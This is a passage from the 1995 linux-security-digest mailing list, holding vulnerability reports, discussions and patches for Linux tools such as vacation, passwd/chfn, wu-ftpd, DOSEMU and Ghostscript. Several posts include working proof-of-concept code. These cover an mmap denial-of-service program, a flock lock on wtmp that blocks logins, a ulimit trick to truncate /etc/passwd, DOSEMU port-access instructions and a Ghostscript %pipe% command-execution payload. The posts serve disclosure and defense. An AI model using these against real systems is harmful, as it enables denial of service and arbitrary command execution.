otherwise, your cipher will produce incorrect ciphertext. The default deslogin(1) and deslogingw(1) source trees, although use the code from the cipher-3.0 tree, have their own separate Makefile. Prior to compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and remove optimization flags. WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT *SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE PASSPHRASE. deslogin(1), deslogingw(1) and cipher(1) can be obtained from ftp://ftp.uu.net/pub/security/des/. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50 sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl RtFXqQDDl6o= =Po3y - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ End of linux-security-digest V1 #29 *********************************** linux-security-digest/1995/v01.n030100664 1767 1767 47571 6012067160 16055 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #30 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 9 August 1995 Volume 01 : Number 030 SECURITY ALERT: Dangerous hole in vacation v1.0. write does not clear suids bit Re: write does not clear suids bit MAP_DENYWRITE allows denial-of-service Perl guru Randal Schwartz convicted. chfn problem with Linux Re: SECURITY ALERT: Dangerous hole in vacation v1.0 Re: chfn problem with Linux ---------------------------------------------------------------------- From: Jeff Uphoff Date: Wed, 2 Aug 1995 13:04:45 -0400 Subject: SECURITY ALERT: Dangerous hole in vacation v1.0. - -----BEGIN PGP SIGNED MESSAGE----- A major security hole in the Linux version of 'vacation' has been detected and corrected. This hole affects version 1.0 of 'vacation' as ported to Linux by Harald Milz (from Eric Allman's original BSD source) and found on sunsite.unc.edu and other FTP sites (and thus commonly used on Linux systems). Note: The hole was introduced in the Linux port/version and does not appear to affect other, non-Linux-specific, versions of vacation. The hole involved passing the Subject: and From: headers of the incoming e-mail message to 'sed' and 'sendmail' via a system() call. The extreme danger of this, especially in a program that is taking input from remote systems, should be apparent to most people that are familiar with the system() call internals. Thanks go to Olaf Kirch for detecting this hole and for coding an initial fix, and to Harald Milz for enhancing Olaf's fix to provide the same functionality as his (Harald's) previous version. Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version. UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED! Here is the LSM entry for the updated version: Begin3 Title: Automatic mail answering program for Linux Version: 1.1 Entered-Date: July 29, 1995 Description: This is the port of the 386bsd vacation program to Linux. Vacation is the automatic mail answering program found on many Unix systems. This is a security fixed version. PLEASE DON'T USE vacation-1.0 ANY LONGER! Keywords: vacation, mail answering Author: Eric Allman (?) Maintained-By: Harald Milz ([email protected]) Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers 28 KB vacation-1.1.tar.gz Original-Site: agate.berkeley.edu (as of Nov 16, 1993) Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2 Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California changes relative to the original version: GPL End In addition to Sunsite, the updated version is available in linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the tar-file on linux.nrao.edu is: f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz Note: For those that get syslog messages from 'sendmail' saying "mailer prog died with signal 13" when running this new v1.1 (it's a SEGV; the 13 is octal), try the following patch (Harald plans on adding this, as well as a couple of other slight modifications that I have made, in a future public update to the newly-released v1.1): diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c --- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995 +++ 1.1/vacation.c Sun Jul 30 13:39:41 1995 @@ -184,8 +184,8 @@ setreply(); (void) gdbm_close(db); sendmessage(pw->pw_name); - } - (void) gdbm_close(db); + } else + (void) gdbm_close(db); exit(0); /* NOTREACHED */ } - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT 9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E TQWmk4ekFJ8= =akI7 - -----END PGP SIGNATURE----- ------------------------------ From: Aleph One Date: Wed, 2 Aug 1995 19:32:46 -0500 (CDT) Subject: write does not clear suids bit Hello everyone. It has come to my attention that write(2) does not clear the suid nor sgid bit on files when the one doing the write is not root, altough the fallowing code appers in fs/read_write.c in the sys_write function: /* * If data has been written to the file, remove the setuid and * the setgid bits */ if (written > 0 && !suser() && (inode->i_mode & (S_ISUID | S_ISGID))) { struct iattr newattrs; newattrs.ia_mode = inode->i_mode & ~(S_ISUID | S_ISGID); newattrs.ia_valid = ATTR_MODE; notify_change(inode, &newattrs); } return written; I wont be in town for a few days, nor I belive I have the knowlage to fix it. If someone can look into it, great! Aleph One / [email protected] http://underground.org/ ------------------------------ From: [email protected] (Olaf Kirch) Date: Thu, 3 Aug 1995 10:08:55 +0200 (MET DST) Subject: Re: write does not clear suids bit - -----BEGIN PGP SIGNED MESSAGE----- Hello all, This problem pops up when the user writes a file that belongs to someone else. The test in inode_change_ok will reject the chmod attempt, and therefore notify_change will return -EPERM instead of clearing the mode bits. A quick'n'very-dirty fix may be to do something like this: /* * If data has been written to the file, remove the setuid and * the setgid bits */ if (written > 0 && !suser() && (inode->i_mode & (S_ISUID | S_ISGID))) { struct iattr newattrs; + uid_t fsuid = current->fsuid; + newattrs.ia_mode = inode->i_mode & ~(S_ISUID | S_ISGID); newattrs.ia_valid = ATTR_MODE; + current->fsuid = inode->i_uid; notify_change(inode, &newattrs); + current->fsuid = fsuid; } return written; The best fix around is definitely not to have world-writable setuid files at all and leave the rest to Linus:-) Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMCCD9uFnVHXv40etAQGp9wP9FKwQz1jNoQ5pUAGBbUmo9B8thKoMIRC3 o0prsg+667aSjF+316Fskqvr3NGbuLSjPPY9jR3cCvGeVN22xJVzKMqghN5MZp1G WFdKx/91zxNkAzSHATyEWP69ohEuWlKTYFCaUJXdy1v345/qwoHKPx0DNpV98iTN jWu8+m+GXQI= =Phia - -----END PGP SIGNATURE----- ------------------------------ From: Ian Jackson Date: Sun, 6 Aug 95 16:11 BST Subject: MAP_DENYWRITE allows denial-of-service [mod: This was originally posted to linux-alert. We redirected it to linux-security for now until there is a fix for this problem. --okir] - -----BEGIN PGP SIGNED MESSAGE----- (Posted to linux-alert and linux-kernel.) Any user on a Linux system can prevent other users from writing to files. The files need not be writeable by the attacker, but they do need to be readable. They do not need to be in any special format or have any particular name or permission flags. There is no practical limit to the number of files a user can `block' like this, and the program to do it is trivial - see below. While the program is running any otherwise-OK attempt to open the file for writing gets ETXTBSY (Text file busy). The problem exists in at least 1.2.10, and I'm told that this feature was introduced quite some time ago. The MAP_DENYWRITE feature was apparently added to allow (for example) ld.so to arrange that libraries and other executable files which were in use could not be overwritten. While this seems like a laudable aim, it does not justify what we see here. I suggest that the feature be removed completely. If this is thought undesirable checks will have to be made - at the very least that the user doing the mapping has `x' access to the file, and that the file is in a suitable format. Ian. /* Invoke this as `./a.out < file-to-be-blocked'. * Send it a signal when you want to unblock the file. */ #include #include #include #include #include int main(void) { caddr_t a; a= mmap(0,1,PROT_READ,MAP_DENYWRITE|MAP_FILE|MAP_SHARED,0,0); if (a == (caddr_t)-1) { perror("mmap"); exit(1); } printf("mapped at %p\n",a); pause(); return 0; } - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMCTbUcMWjroj9a3bAQG2mwQAlLOER9wipKqg5i4CTAxeOJEQu2G9Yy4H KRIwBzxDA7lvD+tUglB5CMyosrDqTrnLTTomUlpuJkqVZoH0ugeQduvxe/9vjr5E pztfC7O/b+DdqUhQBBjNczJlXWzqoMpBaqKW75ny3Mj5rTR7cw2EkjCBX243x7Io Vr9qW6vQiRw= =UZZP - -----END PGP SIGNATURE----- ------------------------------ From: Jeff Uphoff Date: Mon, 7 Aug 1995 19:25:17 -0400 Subject: Perl guru Randal Schwartz convicted. This is not directly related to Linux security, but I thought that it would be of definite interest to those involved with system administration and/or computer security, Linux or otherwise--primarily as an example of what blunders it can be very dangerous to make. The following is a direct quote from Randal Schwartz's legal-fund mailbot. For those that aren't familiar with who Randal is, he is the author and coauthor of the O'Reilly books "Learning Perl" (the "llama book") and "Programming Perl" (the "camel book"), respectively, and has been one of the primary figures in the development of the Perl language. This is not meant to be an editorial comment by either Olaf or me regarding this case, nor is it intended to convey any personal opinions from either of us. I am posting Randal's own words, rather than the media account(s), because his words, despite their understandable bias, actually show some technical knowledge about the actions that led to his conviction. - -----begin quote----- [This message was generated automatically because you sent me mail containing @FUND on a line by itself, or sent mail to [email protected]. I did not read the rest of your note -- merlyn] On March 14th, 1994, I was indicted on three felony counts of Computer Crime according to Oregon State Law. The "victim" and accuser is Intel Corporation (yes, the multinational microchip manufacturer), a client of mine for five years running, and possessor of vastly greater financial, time, and legal resources than I could ever muster up. On July 25th, 1995, I was convicted of those same counts. I'm currently awaiting sentencing. The sentencing hearing is scheduled for September 11th. The charges are as follows: Count 1: altering without authorization two computer systems. Counts 2 and 3: accessing a computer with intent to commit theft. First, let me say that I am sorry that I caused Intel any grief or hardship, and that in hindsight, I should have been clearer about my intention and actions. I'll never get to work at Intel again, and my mistakes may even make it nearly impossible to get any work at any location that respects Intel's beliefs about me. However, my actions were motivated by my desire to give Intel the best possible value for the money they were paying me. At no time did I *intend* to have any harm come to Intel, and any damage they may claim resulted from their mopping up on things that I *might* have done but they couldn't tell I hadn't. In short, count 1 comes from me having installed two different methods of accessing my Intel e-mail through the Internet while I was away but still working for Intel. I was responsible for the timely deployment of the DNS servers for the entire corporation, and a system administrator on some network support machines, and I wanted to keep on top of developing situations. I believed at the time that I was complying with the intent of every rule I was aware of regarding the setup of these access methods, but it became clear at the trial that my understanding was very different from their understanding. Count 1 is also based on a law about which we have raised constitutional questions of overbreadth and vagueness. We always thought these issues would require appellate examination. Counts 2 and 3, as I understand it, result from their claim that I committed "theft" of a password file from the SSD division by copying it to a machine in the HF division where I was working and that by running crack (the password guesser) on the file, I also committed "theft" of the passwords. I was a sysadm for SSD about a year and a half previous, and I still had an active account on a lab machine at SSD. I had discovered that a user at SSD had picked a dictionary word ("deacon") for a password on the lab machine. Fearing that the SSD folks had stopped running crack regularly, I copied the SSD password file (using the cracked password from the lab machine) and found that my fears were justified. (The vice president's password was "pre$ident", for example.) However, I now had vital information that I had obtained through the use of a cracked password, and I was in an awkward situation. Before I reported the findings to SSD, a co-worker noticed the crack runs (they were 6-8 days long!) running under my own userID on the systems that we shared at HF, and feared the worst: that I had turned into a spy and was actually stealing secrets. Yes, as you can see, I made a number of bone-headed mistakes (not getting the rules about internet access clear, not reporting the single bad cracked password, and not immediately reporting the results of the crack run), and I probably should have been terminated for those mistakes, but NONE OF THE ACTS WERE BASED ON MALICIOUS INTENT. I have fought the charges using money out of my pocket and borrowed on credit cards, and the goodwill of many special Net Citizens such as the folks at the Electronic Frontier Foundation. - -----end quote----- A description of how to get more information/updates follows, as well as a blurb on how to contribute to his legal defense fund; send e-mail to [email protected] for more information on this (I'm not posting it here). Schwartz faces likely jail time of 3-6 months, according to reports, as well as possible restitution of $60,000 to Intel for "damages" (plus any additional fines that the state may impose). He has spent over $100,000 so far on his legal defense. The "moral" of this story is obvious: Fooling around with computer security within an organization, without explicit permission, can be *very* dangerous (and expensive!)--even if your intentions are good (as Randal claims that his were). MAKE SURE YOU UNDERSTAND LOCAL POLICIES! Followups on this subject to the Linux-security lists will not be approved. There is quite a debate regarding this case going on in the USENET group misc.legal.computing that is raising all sorts of interesting points; that is the proper forum for followups. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Nick Kralevich Date: Tue, 8 Aug 1995 08:19:40 -0700 (PDT) Subject: chfn problem with Linux Found on alt.hackers. Take care, - -- Nick Kralevich - ----- Begin ----- >From [email protected] Tue Aug 8 08:16:56 PDT 1995 Article: 8446 of alt.hackers Path: agate!howland.reston.ans.net!news.sprintlink.net!uunet!in2.uu.net!news.nevada.edu!unlv.edu!ftlofaro From: [email protected] (Frank T Lofaro) Newsgroups: alt.hackers Subject: Linux problems (was Re: rlogin revealed) Date: 8 Aug 1995 07:15:47 GMT Organization: University of Nevada, Las Vegas Lines: 22 Approved: [email protected] Message-ID: <[email protected]> References: <[email protected]> <3vr6u7$bv7@bubb\a.NMSU.Edu> <[email protected]> NNTP-Posting-Host: pioneer.nevada.edu Keywords: Linux, security hole, denial of service In-Reply-To: <[email protected]> A poster mentioned here the chfn could be used to hose a linux box. He didn't say, but it looked like one could hose the system by killing/suspending chfn right after opening /etc/passwd in truncate mode. I ran a trace on chfn. Here's another bad one. Set file limit to 0. run passwd and try to change passwd /etc/passwd is empty, and all logins are denied with "Login incorrect", i.e. one doesn't know what is wrong. By setting file limits low can partially truncate /etc/passwd. I'll post this to comp.os.linux.development.system too. ObHack: Changing the FS code to allow hardlinks to symlinks. Not too useful, but neat, and I didn't lose any filesystems when I did it! And doing 40 other hacks and wacks on the Linux kernel, unfortunately one of them hosed swapping to a file. Heck, most of them work though! ------------------------------ From: [email protected] (E. v. Pappenheim) Date: Tue, 8 Aug 1995 14:05:19 +0200 (MET DST) Subject: Re: SECURITY ALERT: Dangerous hole in vacation v1.0 Forwarded message: This a repost of [email protected] due to a configuration error. - ------ Original message follows -------------------------------------------- From: [email protected] (Harald Milz) Subject: Re: SECURITY ALERT: Dangerous hole in vacation v1.0. In hannet.ml.linux.nrao.linux-security, > Note: For those that get syslog messages from 'sendmail' saying "mailer > prog died with signal 13" when running this new v1.1 (it's a SEGV; the > 13 is octal), try the following patch (Harald plans on adding this, as > well as a couple of other slight modifications that I have made, in a > future public update to the newly-released v1.1): This has been fixed too in vacation-1.1.1 I uploaded to sunsite a couple of days ago. - -- Harald Milz ([email protected]) WWW: http://www.ix.de/ix/editors/hm.html iX Multiuser Multitasking Magazine phone +49 (511) 53 52-377 Helstorfer Str. 7, D-30625 Hannover fax +49 (511) 53 52-361 Opinions stated herein are my own, not necessarily my employer's. - --- End of message ---------------------------------------------------------- - -- - -------------------------------------------------------------------------------- Eckebrecht von Pappenheim Email: [email protected] Eleonorenstr. 17 Phone: +49 511 443755 30449 Hannover Modem/Fax: +49 511 444060 Germany ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 9 Aug 1995 00:13:53 +0200 (MET DST) Subject: Re: chfn problem with Linux [Quoting from a message forwarded to linux-security by Nick Kralevich] [email protected] (Frank T Lofaro) wrote on alt.hackers: > A poster mentioned here the chfn could be used to hose a linux box. > He didn't say, but it looked like one could hose the system by > killing/suspending chfn right after opening /etc/passwd in truncate > mode. I ran a trace on chfn. This problem affects kill in general. The kernel allows a process to send a signal to another process as long as the _sending_ process's euid matches the signalled process's effective or real uid (cf. kill_prog in kernel/exit.c). I believe this should be the other way round. Quoting from the HP kill(2) manpage: ``The real or effective uid of the sending process must match the real or saved uid of the receiving process, unless the effective uid of the sending process is super-user.'' However, a comment in Lewine's POSIX book says that killing another process is also allowed when its ruid matches... Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ End of linux-security-digest V1 #30 *********************************** linux-security-digest/1995/v01.n031100664 1767 1767 34331 6014571603 16050 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #31 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 17 August 1995 Volume 01 : Number 031 Re: chfn problem with Linux Re: chfn problem with Linux passwd problem Re: chfn problem with Linux wu-ftp - visible passwords. Another denial-of-service... Re: Security Problem with DOSEMU Security Problem with DOSEMU Re: wu-ftp - visible passwords. Re: wu-ftp - visible passwords. ---------------------------------------------------------------------- From: [email protected] (Michael Shields) Date: Tue, 8 Aug 1995 19:56:37 +0000 (GMT) Subject: Re: chfn problem with Linux [Frank T Lofaro on alt.hackers says you can truncate passwd by setting ulimit -f 0, then running chfn/chsh/passwd] He does not specify what he means by "Linux". The Shadow 3.3.1 suite does not have this hole; it raises the ulimit to 30 000 blocks. There may be race conditions that let you signal the process, or set a low CPU limit, and leave the passwd file in an inconsistent; these are general robustness issues, since these conditions might also be brought out by a badly timed crash. - -- Shields. ------------------------------ From: Jon Lewis Date: Tue, 8 Aug 1995 16:02:33 -0400 (EDT) Subject: Re: chfn problem with Linux [mod: Does anyone have a passwd version for which the ulimit hack actually works? I checked util-linux-1.5 and 2.2, which do bomb out with an unchecked passwd. --okir] On Tue, 8 Aug 1995, Nick Kralevich wrote: > Here's another bad one. > > Set file limit to 0. > run passwd and try to change passwd > > /etc/passwd is empty, and all logins are denied with "Login > incorrect", i.e. one doesn't know what is wrong. > > By setting file limits low can partially truncate /etc/passwd. Maybe I did something wrong, or maybe shadow is smarter, but doing this did not damage the /etc/shadow or /etc/passwd on a shadowed Linux system. luke:/var/homes/admin/jlewis$ ulimit -f 0 luke:/var/homes/admin/jlewis$ ulimit -f 0 luke:/var/homes/admin/jlewis$ passwd Changing password for jlewis Old Password: Enter the new password (minimum of 5 characters) Please use a combination of upper and lower case letters and numbers. New Password: Re-enter new password: luke:/var/homes/admin/jlewis$ ls -l /etc/passwd - -rw-r--r-- 1 root root 1099 Aug 8 12:18 /etc/passwd luke:/var/homes/admin/jlewis$ ls -l /etc/shadow - -rw-r----- 1 root shadow 829 Aug 8 15:39 /etc/shadow - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 9 Aug 1995 09:49:05 +0200 (MET DST) Subject: passwd problem Hello, I just came across a problem with the passwd command in utils-2.2. When updating a user entry, it basically copies the passwd file to ptmp line by line, and replaces the user's line if it thinks it had found it. The problem is it just checks whether the line starts with the user name. So if you change the password of user `www', you will completely wipe out the entry for `wwwadmin'. Older versions of passwd do not suffer from this problem, and according to Rik Faith, it's fixed in the latest version (2.4). Cheers Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: "Theodore Ts'o" Date: Wed, 9 Aug 1995 13:42:47 -0400 Subject: Re: chfn problem with Linux From: [email protected] (Olaf Kirch) Date: Wed, 9 Aug 1995 00:13:53 +0200 (MET DST) [Quoting from a message forwarded to linux-security by Nick Kralevich] [email protected] (Frank T Lofaro) wrote on alt.hackers: > A poster mentioned here the chfn could be used to hose a linux box. > He didn't say, but it looked like one could hose the system by > killing/suspending chfn right after opening /etc/passwd in truncate > mode. I ran a trace on chfn. This problem affects kill in general. I disagree that this is a problem with kill --- what if there is a system crash right after chfn opens /etc/passwd in truncate mode? This is actually a bug in chfn; a well-written chfn (1) locks /etc/passwd to prevent race condition with other programs that modifies /etc/passwd (2) writes a new copy of the password file to /etc/passwd.new, and then (3) uses the rename(2) system call to atomically move /etc/passwd.new to /etc/passwd. I believe this should be the other way round. Quoting from the HP kill(2) manpage: ``The real or effective uid of the sending process must match the real or saved uid of the receiving process, unless the effective uid of the sending process is super-user.'' However, a comment in Lewine's POSIX book says that killing another process is also allowed when its ruid matches... Well, quoting straight from the source (POSIX.1): "For a process to have permission to send a signal to a process designated by pid, the real or effective user ID of the sending process must match the real or effective user ID of the receiving process, unless the sending process has appropriate privileges [translation: has root privs, or the equivalent if POSIX.6 process priveleges are supported]. If {_POSIX_SAVED_IDS} is defined, the saved set-user-ID of the receiving process shall be checked in place of its effective user ID." (POSIX.1, section 3.3.2.2, lines 591--595) - Ted ------------------------------ From: Derric Scott Date: Wed, 9 Aug 1995 00:56:14 -0500 (CDT) Subject: wu-ftp - visible passwords. [mod: I don't see this as a real problem, but it maight interest some of you nevertheless. Followups to Derric, please. --okir] Hello! Well, I'm not an expert at either of the two programs below, however, I just now saw this and thought I'd be worth comments from others who may know them better: I just unzipped a version of "WS_FTP - WinSock_FTP" for MS-Windows and checked it out. I filled out "anonymous" for the login name, then, like a dummy, stuck my real password in instead of the traditional E-mail address. I forgot about this quickly and started a 2 Meg file download from the Linux box (via modem - a fairly long procedure). Well, imagine my surprise when I did a "ps afux" on the Linux machine and saw my "anonymous/MY_REAL_PASSWORD" out there for anyone to see!!!! My Linux machine is running wu_ftp. Does anyone else see this as a security problem of sorts? Why is the password stuck there at all (and there was no "@" in it)? Are there options to wu_ftp to prevent this behavior?? Is it something the WS_FTP program did? Derric - -- Derric Scott Scott Network Services, Inc. P. O. Box 361353 [email protected] (205)987-5889 Birmingham, AL 35236 ------------------------------ From: Marek Michalkiewicz Date: Wed, 9 Aug 1995 20:03:55 +0200 (MET DST) Subject: Another denial-of-service... While we are at various denial-of-service attacks: there is another one with flock(), found while reading util-linux-2.4/login-utils/login.c - here is the offending piece of code: if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) { flock(wtmp, LOCK_EX); write(wtmp, (char *)&ut, sizeof(ut)); flock(wtmp, LOCK_UN); close(wtmp); } Anyone can get an exclusive lock using flock(fd, LOCK_EX) on any file which can be opened even read-only. I don't know if this is the correct flock semantics or not; the fcntl-style locking requires write access to get an exclusive lock, flock (emulated in libc by using fcntl() with different parameters) doesn't. Just write a trivial program doing something like this: fd = open("/var/adm/wtmp", O_RDONLY); flock(fd, LOCK_EX); pause(); and no one can log in because login will block trying to get exclusive access to wtmp. Kill this process and everything will be fine again. I don't know why login needs exclusive access to wtmp; isn't O_APPEND enough to guarantee atomic writes at end of file? I believe it is, and the two flock calls can be safely removed. If flock does the right thing now, it should not be used to lock any important system files readable by users; use fcntl instead! Marek ------------------------------ From: "Michael E. Deisher" Date: Sat, 12 Aug 1995 12:55:22 -0700 Subject: Re: Security Problem with DOSEMU On Sat, 12 Aug 1995 20:14:37 +0200 (MET DST), [email protected] (Olaf Kirch) said: > Hello all, > Matt Welsh just forwarded me another post by Frank Lofaro. Can > anyone confirm or deny this? I don't even understand what his code's > doing... > Olaf I'll forward your message to the dosemu developers list. However, my understanding is that this is a well known problem with dosemu. Anyone who looks at the dosemu docs knows that it is ALPHA software and that it runs setuid root. ALPHA testers should know up front that they are taking a risk when they run it. It is probably not a good idea to run dosemu (I'm talking about the ALPHA versions) on a machine where a high level of security is required. - --Mike ------------------------------ From: [email protected] (Olaf Kirch) Date: Sat, 12 Aug 1995 20:14:37 +0200 (MET DST) Subject: Security Problem with DOSEMU Hello all, Matt Welsh just forwarded me another post by Frank Lofaro. Can anyone confirm or deny this? I don't even understand what his code's doing... Olaf - ------------------------------------------------------------------ > From: [email protected] (Frank T Lofaro) > [1] Serious Linux DOSEMU security hole > Date: Tue Aug 08 03:10:06 EDT 1995 > Organization: University of Nevada, Las Vegas > Lines: 21 > Keywords: Linux, DOSEMU, security hole > > There is a SERIOUS security hole in Linux DOSEMU! > > Even with the administrator turning off all port access, users can > ACCESS ANY PORT THEY WANT! READ/WRITE! Thus can hose things, reboot, > etc. > > Here's how: > > mov ax, 3 > mov bx, start_port > mov cx, number_of_ports > set carry to get access, clear to reliquish access > int 0xe6 > > and there appears to be no way to disable it. > > I am posting more detailed info in comp.os.linux.development.system > > This one seems worse than the rcently mentioned chfn hole. > > ObHack: Finding this security hole when idly perusing the DOSEMU source! > > - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: "Joseph S. D. Yao" Date: Mon, 14 Aug 1995 11:01:52 -0400 Subject: Re: wu-ftp - visible passwords. > [mod: I don't see this as a real problem, but it maight interest > some of you nevertheless. Followups to Derric, please. --okir] Okir, Since this is meta-discussion about the problem, rather than discussion about the problem, I'm leaving in the CC to the group, which will happen at your discretion or not anyway. I'm afraid that I must disagree with your evaluation. A person's password is the key to his or her kingdom. This is not a real problem if (a) it only has to do with anonymous FTP, or (b) it only happens on a privately-used machine, where the password is available to the user or users anyway. However, consider the situation where you might have an account on ftp.uu.net, and use it to do some file transfers; and because of that use, I am able to use your account and gain access to something to which I should not have access. In this situation, which perhaps you did not consider, I suggest that there would be a real problem. This is at least as much a problem as any of the other problems with wu-ftp that we've discussed at length. At least, IMHO. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 14 Aug 1995 22:45:53 +0200 (MET DST) Subject: Re: wu-ftp - visible passwords. Joe Yao wrote: > > > [mod: I don't see this as a real problem, but it maight interest > > some of you nevertheless. Followups to Derric, please. --okir] > > I'm afraid that I must disagree with your evaluation. Point taken. I should have been more specific on this. The reason why I believe this is not one of those wu-ftp bugs is that this happens only when the user logs in anonymously. Below's the ps output for an anon session, and a user session: 16511 con S 0:00 -monad.swb.de: anonymous/[email protected]: IDLE 16514 con S 0:00 -monad.swb.de: okir: IDLE I admit that I have been a bit too rash in dismissing the problems a user mistake may cause. If you feel you should protect your users from shooting themselves in the foot, you can either disable this feature altogether by undefining SETPROCTITLE in config.h, or by applying the tiny patch below. It simply adds a little plausibitlity check by making sure there's an at sign in the password before putting it in argv. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - ------------------------------------------------------------------ - --- ftpd.c.orig Mon Aug 14 22:28:18 1995 +++ ftpd.c Mon Aug 14 22:41:11 1995 @@ -1197,7 +1197,8 @@ #ifdef SETPROCTITLE sprintf(proctitle, "%s: anonymous/%.*s", remotehost, sizeof(proctitle) - sizeof(remotehost) - - - sizeof(": anonymous/"), passwd); + sizeof(": anonymous/"), + strchr(passwd, '@')? passwd : ""); setproctitle("%s", proctitle); #endif /* SETPROCTITLE */ if (logging) - ------------------------------------------------------------------ ------------------------------ End of linux-security-digest V1 #31 *********************************** linux-security-digest/1995/v01.n032100664 1767 1767 41510 6020434146 16043 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #32 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 28 August 1995 Volume 01 : Number 032 Ghostscript problem Re: Ghostscript problem IP firewalling bugs Re: Ghostscript problem Re: Ghostscript problem Re: Ghostscript problem problem with selection Re: problem with selection Re: problem with selection ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Tue, 22 Aug 1995 21:28:40 +0200 (MET DST) Subject: Ghostscript problem - -----BEGIN PGP SIGNED MESSAGE----- Hi all, There's another problem with ghostscript that makes you vulnerable to attacks via postscript code. Ghostscript has a file type that lets you execute arbitrary commands through the shell. While the -dSAFER option to gs protects you from ordinary file write/rename/removal attacks, it does not check for this special file type. The hole is present in all GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22. The exploit code is disturbingly simple: %!PS- (%pipe%echo spoofed > /tmp/hurz) (r) file quit Below's a fix to gs_init.ps that fixes this. Please also make sure that all programs that use ghostscript set the -dSAFER option. ghostview 1.5 does by default, but version 1.4 does not. I'd suggest you also check your ps printer filter if you print postscript files using gs, and xdvi if you use a version that uses ghostscript to display postscript \special's. I checked only xdvi-20, and it's safe. Olaf PS: Patch follows. PGP will garble initial `-' characters in the patch; make sure to replace `- -' with `-' before applying it. - - ------------------------------------------------------------------ - - --- gs_init.ps.orig Sun Aug 20 23:22:01 1995 +++ gs_init.ps Sun Aug 20 23:22:46 1995 @@ -302,7 +302,8 @@ % If we want a "safer" system, disable some obvious ways to cause havoc. SAFER not { (%END SAFER) .skipeof } if /file - - - { dup (r) eq + { exch dup /..fname exch def exch + dup (r) eq ..fname (%pipe%*) .stringmatch not and { file } { /invalidfileaccess signalerror } ifelse - - ------------------------------------------------------------------ - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMDovyOFnVHXv40etAQHzkAP9EXfrBT9AU5TsVOpUgFNSFc3UYf8TnKxb a9ojX27qIXtjAceFjP8G95E5dlwwS3vxPgvhC4SUaL6MPhcBwg/52n8sANIUy0py 